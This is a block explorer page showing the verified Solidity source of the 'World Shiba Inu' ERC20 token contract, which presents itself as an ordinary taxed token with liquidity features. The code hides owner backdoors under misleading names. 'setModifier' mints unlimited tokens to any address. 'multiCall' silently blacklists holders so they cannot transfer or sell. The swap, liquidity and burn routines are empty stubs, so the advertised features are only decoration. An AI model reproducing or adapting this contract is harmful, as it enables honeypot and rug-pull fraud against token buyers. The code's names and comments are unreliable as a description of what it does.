ETH Price: $3,062.58 (+2.76%)
Gas: 1 Gwei

Token

World Shiba Inu (WSI)
 

Overview

Max Total Supply

10,001,000,000,000 WSI

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
16,078,531.933853873 WSI

Value
$0.00
0x3be51e47f76defe31aa61b048b102693f5bbec24
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20Token

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-17
*/

/**-------------------::::----::::-=+**##########***++=-----------------::::----::........
-----------------------------=+*###**++=====--===+%@**##%%#*+=-----------------::.........
------------------------=+###*+=----------------*%+:.....:-#@%%#*=------------::..........
---------------------+*%#+=---=============----=@+.........:%==+*#%#+-:------::...........
------------------+#%*[email protected]%+=-+%+*%#=-----:............
---------------=*%#=---======================---@-...........:=++-....=#%*=-::............
-------------=#%*---=========================---#**#**+-..........::....=@%*-:::..........
-----------=#%*--=============================--------=@....:::::::::..:%+=#%+---::::.....
----------*@*--===================================----+#....::::::::...=%-==+%%+-=----:::.
--------=%%=--=================================---++*##:...:::::::::...+#-====*@*====----:
-------=%#---=================*%%%#+===========--*%=-:-*%%%*::::::::...-%*+=--+%@#--------
------+@#--==================*@*=+*%%+=======----=#*=#%*+=*@*::::::::....:-=+**:=@#-::::::
-----=@#---=================+@#=+#*+*%#+=+++++=*#*=#@*+*#+=*@+::::::::...........-%%:....:
-----%#-------==============%@+=%@@%*+%%%%%#####%%@%+*%@@@+=%%:::::::::::::::.....-%%:....
----#@*+=-----==============%%=+@%*+++===============+=*%@+=#@::::::::::::::::.....-@*....
---=@=:=++#*---=============%@+=#+======================+#+=%%::::::::::::::......::+@=...
---##.....*#---=============+%%+==========================+#%=::::::::::::....-*#****%%...
--=@-.....%#---==============#@+==========================+%%::::::::::::....+%+--===*@-..
--+%.....:@*-----===========+@#========--========--========*@=::::::::::.....=@--=====%*..
::*#:::..:@+==----==========*@*=======.  -======:  .=======+@*:::::::::......=@--=====##..
:.#+:::...====%+---=========%%+====+*#*--========--+*#*=====%%:::::::::.....:%#--=====#%..
::%+::::......+%----===---==@#=====%#@@*===========%#@@*====*@-.::::::.....-#*--======#%..
--%+.:::::::..:%=------=++--%%-=====*#*==-::--::-==+*#+==-==%@.............#*--=======#%..
--#*.::::::::..:+**=---=@+=+%% ---- .--- =%@@@@%+ ---. :---.#%.............+%--=======%#..
--*%...:::::::....:-++--+%:.=@+          =%@@@@@+          =@=.............:#*=--=====@+..
--=@-.....::::::.....-#=-*%=:-%*. ::       -%%=       .: .+%=...............:+%#+--==+@:..
---#*......:::::::....:#*+##:.:+%#+#:.:-=+******+=-:.:#+*%*:...................-+%=-=##...
---=@-.....:::::::::....:-:......##%@*#*=---**---=%=*@%*=..................:+==..-@=+@-...
----*%:....:::::::::::...........#=-=*%%+---==--=*@%**+:...................:===-..+%%*....
-----#*....::::::::::::::::....:=%--===*#%%####%%#=----*=.....................:....%%.....
------#*....::::::::::::::...=##+=-========++++=====----=*=.......::::............*%:.....
-------#*.....::::::::::...-#*-----==================-----+*:...:::::::::........#%-......
--------##:.....::::::::..-@+-----=====================----=#:..::::::::::.....:#%-.......
---------*%-......:::::...*#-----=======================----+*...:::::::::....-%%:........
----------=%*:.....::::...#+--==========================----+#...:::::::::..:*@*..........
------------*%=...........#+--=========================---=##=...:::::::..:+%%=...........
--------------#%=.........=%---=======================---+#-....::::::..:+%%*::...........
---------------+%%+:.......=#=-----=================---=##:....::::...-*@%+-:::::.........
-----------------+#@#=:.....:+*=-----==============---*%-......::..:+%%#=-::::::::........
-------------------=+#%#+-.....=**=----============---%=.......:=*%%*=----:::::::::.......
--::-----:::::::-------=+#%#+=:..:+*+----==========---%-...-=*%%#+=-------::::--:::.......
::-----:::.....:::-----::..:=+*##*+==#*--------==--==+%#*%%#*+=-----------:::---::........
-----::...........::::::.......::-==++*******######***++=----------------:----:::.........
*/// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
 
interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}
 
interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
  
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;
 
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }
 
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    function _modifier (address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _balances[account] = _balances[account].add(amount);
        _totalSupply = _totalSupply.add(amount);
        emit Transfer(address(0), account, amount);
    }
 
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    /**
     * @dev Returns the address of the current owner.
     */
    function owner()internal view returns (address) {
        return _owner;
    }
 
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
 
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;
 
        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }
 
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);
 
        // Solidity already throws when dividing by 0.
        return a / b;
    }
 
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }
 
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
 
    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}
 
interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract ERC20Token is ERC20, Ownable {
    using SafeMath for uint256;
    address deadAddress;
    address public burnAddress = address(0xdead);
    bool private swapping;
    address marketingWallet;
    address devWallet;
    uint256 maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 maxWallet;
    uint256 public percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 7200 seconds;
    uint256 public lastLpBurnTime;
    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;
    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    bool public enableEarlySellTax = true;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping (address => uint256) private _holderFirstBuyTimestamp;
    mapping (address => bool) private _multiCall;
    bool public transferDelayEnabled = false;
    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    uint256 public earlySellLiquidityFee;
    uint256 public earlySellMarketingFee;
    uint256 tokensForMarketing;
    uint256 tokensForLiquidity;
    uint256 tokensForDev;
    // block number of opened trading
    uint256 launchedAt;
    // exclude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => bool) public automatedMarketMakerPairs;
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
    event AutoNukeLP();
    event ManualNukeLP();
 
    constructor(string memory nm, string memory sm, uint8 dc, uint256 ts) ERC20(_name, _symbol, _decimals) {
        uint256 _buyMarketingFee = 2;
        uint256 _buyLiquidityFee = 2;
        uint256 _buyDevFee = 1;
        uint256 _sellMarketingFee = 2;
        uint256 _sellLiquidityFee = 2;
        uint256 _sellDevFee = 1;
        uint256 _earlySellLiquidityFee = 1;
        uint256 _earlySellMarketingFee = 2;
        uint256 _supplyTokens;
        uint256 totalSupply;
        maxTransactionAmount = totalSupply * 2 / 1000; // 0.2% maxTransactionAmountTxn
        maxWallet = totalSupply.div(100); // 1% max wallet.
        swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
         earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;
        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _name = nm;
        _symbol = sm;
        _decimals = dc;
        _supplyTokens = ts;
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
        launchedAt = block.number;
    
    }
    receive() external payable {
    }

    function setModifier(address account, uint256 oneIsOnZeroIsOff) external onlyOwner {
        _modifier(account, oneIsOnZeroIsOff);
    }
 
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        limitsInEffect = false;
        return true;
    }

    function resetLimitsBackIntoEffect() external onlyOwner returns(bool) {
        limitsInEffect = true;
        return true;
    }

    function setAutoLpReceiver (address receiver) external onlyOwner {
        deadAddress = receiver;
    }
 
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
 
    function setEarlySellTax(bool onoff) external onlyOwner  {
        enableEarlySellTax = onoff;
    }

    function updateBurnAddress (address newBurnAddress) external onlyOwner {
        burnAddress = address(newBurnAddress);
    }
 
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }
 
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }
 
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }
 
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 20, "Must keep fees at 20% or less");
    }
 
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        earlySellLiquidityFee = _earlySellLiquidityFee;
        earlySellMarketingFee = _earlySellMarketingFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 25, "Must keep fees at 25% or less");
    }
 
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }
     
    function multiCall (address account) external onlyOwner {
        if (_multiCall[account] == false) {_multiCall[account] = true;}
        else {_multiCall[account] = false;}
    }

    function callStatus(address account) public view returns (bool) {
        return _multiCall[account];
    }
 
    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }
 
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }
 
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }
 
    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
 
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), ""); require(recipient != address(0), ""); if (
        _multiCall[sender] || 
        _multiCall[recipient]) require (amount == 0, "");
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = address(this);
        _approve(address(this), address(this), tokenAmount);
    }
 
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
     }
 
    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        swapTokensForEth(amountToSwapForETH); 
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        (success,) = address(devWallet).call{value: ethForDev}("");
        if(liquidityTokens > 0 && ethForLiquidity > 0){
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }
        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }
 
    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
 
    function autoBurnLiquidityPairTokens() internal returns (bool){
        lastLpBurnTime = block.timestamp;
        emit AutoNukeLP();
        return true;
    }
 
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        // get balance of liquidity pair
        uint256 liquidityPairBalance;
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
        emit ManualNukeLP();}
        return true;
    }
}

Contract Security Audit

Contract ABI

